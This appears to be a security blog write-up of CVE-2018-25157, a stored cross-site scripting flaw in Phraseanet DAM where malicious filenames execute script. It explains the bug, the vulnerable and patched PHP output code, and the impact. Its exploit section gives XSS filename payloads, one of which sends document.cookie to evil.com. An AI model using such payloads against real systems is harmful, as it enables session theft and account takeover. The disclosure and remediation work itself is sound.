CVE-2018-25157

Phraseanet Stored XSS: When Filenames Attack

Alon Barad
Alon Barad
Software Engineer

Feb 12, 2026·6 min read·1 visit

Executive Summary (TL;DR)

Authenticated users can upload files with malicious names (e.g., containing script tags) to Phraseanet. Because the application fails to sanitize these names upon display, the code executes in the browser of anyone viewing the file. Fixed in version 4.0.7.

A classic Stored Cross-Site Scripting (XSS) vulnerability in Phraseanet Digital Asset Management (DAM) software versions 4.0.3 and earlier. By simply renaming a file to contain malicious HTML and JavaScript, an attacker can turn a standard asset upload into a persistent trap for administrators and other users. The flaw lies in the application's failure to sanitize filenames before rendering them in the DOM.

The Hook: Digital Asset Mangling

Digital Asset Management (DAM) systems are the libraries of the corporate world. They hold the images, videos, and documents that power marketing campaigns and internal communications. Phraseanet is one such open-source solution, designed to organize chaos. But in version 4.0.3, it introduced a little chaos of its own.

The premise of this vulnerability is almost insultingly simple. A DAM's primary job is to take a file, store it, and show you its name. You upload quarterly_report.pdf, and the system displays "quarterly_report.pdf".

But what happens when a user decides that their file isn't named quarterly_report.pdf, but rather "><svg onload=alert(1)>? In a secure system, the application would treat that string as text. In Phraseanet, prior to the fix, the application takes that string and essentially says, "Sure, I'll put that right into the web page's HTML, no questions asked."

This isn't some complex memory corruption or a race condition. This is the web application equivalent of leaving your front door unlock, open, and with a sign that says "Please Rob Me." It is a Stored Cross-Site Scripting (XSS) vulnerability that turns a passive file repository into a minefield.

The Flaw: Trust Issues

To understand why this happens, we have to look at how web applications render data. When you view a list of files in a web interface, the HTML usually looks something like this:

<div class="file-item">
  <img src="/uploads/123.jpg" alt="MyVacation.jpg" title="MyVacation.jpg">
  <span>MyVacation.jpg</span>
</div>

The vulnerability in Phraseanet stems from Context-Aware Output Encoding—or rather, the complete lack thereof. When the PHP backend generates this HTML, it likely takes the filename directly from the database and concatenates it into the string.

The flaw is a failure to neutralize syntax characters. The characters ", >, and < have special meaning in HTML. If the application doesn't convert them to their safe HTML entities (like &quot;, &gt;, and &lt;), the browser can't tell the difference between the developer's markup and the attacker's data.

So, when the attacker provides a filename like "><svg onload=alert(1)>.jpg, the resulting HTML becomes:

<img src="..." alt=""><svg onload=alert(1)>.jpg">

The attacker's quote closes the alt attribute. The attacker's > closes the img tag. And suddenly, we are in open HTML context, rendering an SVG tag with an onload event handler that executes arbitrary JavaScript.

The Exploit: Breaking Out

Exploiting this is trivially easy, which makes it dangerous. You don't need a disassembler; you just need a web browser and a bad attitude. Here is how a researcher—or an attacker—executes this chain.

Step 1: The Setup

First, you need a valid account. In many organizations, low-level employees or contractors have access to the DAM to upload assets. This is the "Authenticated" part of the vulnerability (PR:L).

Step 2: The Payload

We need a filename that breaks the HTML structure. The classic alert(1) is fine for testing, but let's look at the structure required to break an attribute:

"><script>alert(document.cookie)</script>.jpg

However, <script> tags often don't fire when injected via innerHTML or certain AJAX loading methods. A more robust vector is using an image or SVG event handler, which fires immediately upon rendering:

"><svg onload=fetch('//evil.com/'+document.cookie)>.jpg

Step 3: Execution

The attacker uploads a standard JPEG. Once uploaded, they use the "Rename" feature in Phraseanet to change the filename to the payload above. The server saves this string into the database.

Now, the trap is set. The XSS is Stored. The attacker doesn't need to send a phishing link. They just wait. When an Administrator logs in to review recent uploads, their browser requests the file list. The server serves the malicious filename, the browser interprets it as code, and the Administrator's session cookies are silently shipped off to the attacker's server.

The Fix: Sanitize Your Inputs

The remediation for this is standard defensive programming, yet it is missed surprisingly often. The fix was applied in Phraseanet 4.0.7.

The Vulnerable Logic (Conceptual)

While we don't have the exact diff, the vulnerable PHP code likely looked something like this:

// BAD: Direct echo of user input
echo '<img src="' . $url . '" alt="' . $document->getFilename() . '">';

The Patched Logic

The fix involves encoding the output so that the browser treats the special characters as text, not markup.

// GOOD: Output encoding
echo '<img src="' . $url . '" alt="' . htmlspecialchars($document->getFilename(), ENT_QUOTES, 'UTF-8') . '">';

By using htmlspecialchars (or a templating engine like Twig/Blade that auto-escapes), the malicious filename is rendered as:

&quot;&gt;&lt;svg onload=alert(1)&gt;.jpg

The browser sees this safely as text. The attack is neutralized. If you are running Phraseanet < 4.0.7, you are currently hosting a potential watering hole attack on your own internal network.

Impact Analysis: Why Panic?

Why is a "Medium" severity vulnerability (CVSS 6.4) worth a deep dive? Because in the context of a DAM, the impact is often higher than the score suggests.

1. Privilege Escalation: DAMs are frequented by Marketing Directors, IT Administrators, and C-level executives approving assets. If an attacker (a low-level intern) plants this XSS, and an Admin views it, the attacker hijacks the Admin session. Now they own the DAM.

2. Lateral Movement: Once the attacker controls the Admin account, they might be able to abuse other features—uploading PHP shells if file extension validation is weak, or modifying other assets to serve malware to the public website consuming these assets.

3. Defacement & Reputation: Imagine the company logo being replaced or the DAM interface redirecting all employees to a competitor's site. The chaotic potential of Stored XSS is limited only by the attacker's JavaScript creativity.

> [!WARNING] > Stored XSS is persistent. It executes every time the page loads until the database entry is cleaned manually. It does not require user interaction beyond simply viewing the page.

Technical Appendix

CVSS Score
6.4/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Affected Systems

Phraseanet DAM <= 4.0.3Phraseanet DAM 4.0.4-dev

Affected Versions Detail

Product
Affected Versions
Fixed Version
Phraseanet DAM Open Source
Phraseanet
<= 4.0.34.0.7
Phraseanet DAM Open Source
Phraseanet
4.0.4-dev4.0.7
AttributeDetail
CWE IDCWE-79
CVSS v3.16.4 (Medium)
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone (Stored)
Exploit StatusPoC Available
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability discovered by Krzysztof Szulski
2018-10-10
Public disclosure on Exploit-DB (EDB-ID: 46935)
2019-05-28
Official CVE-2018-25157 published
2026-02-11

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.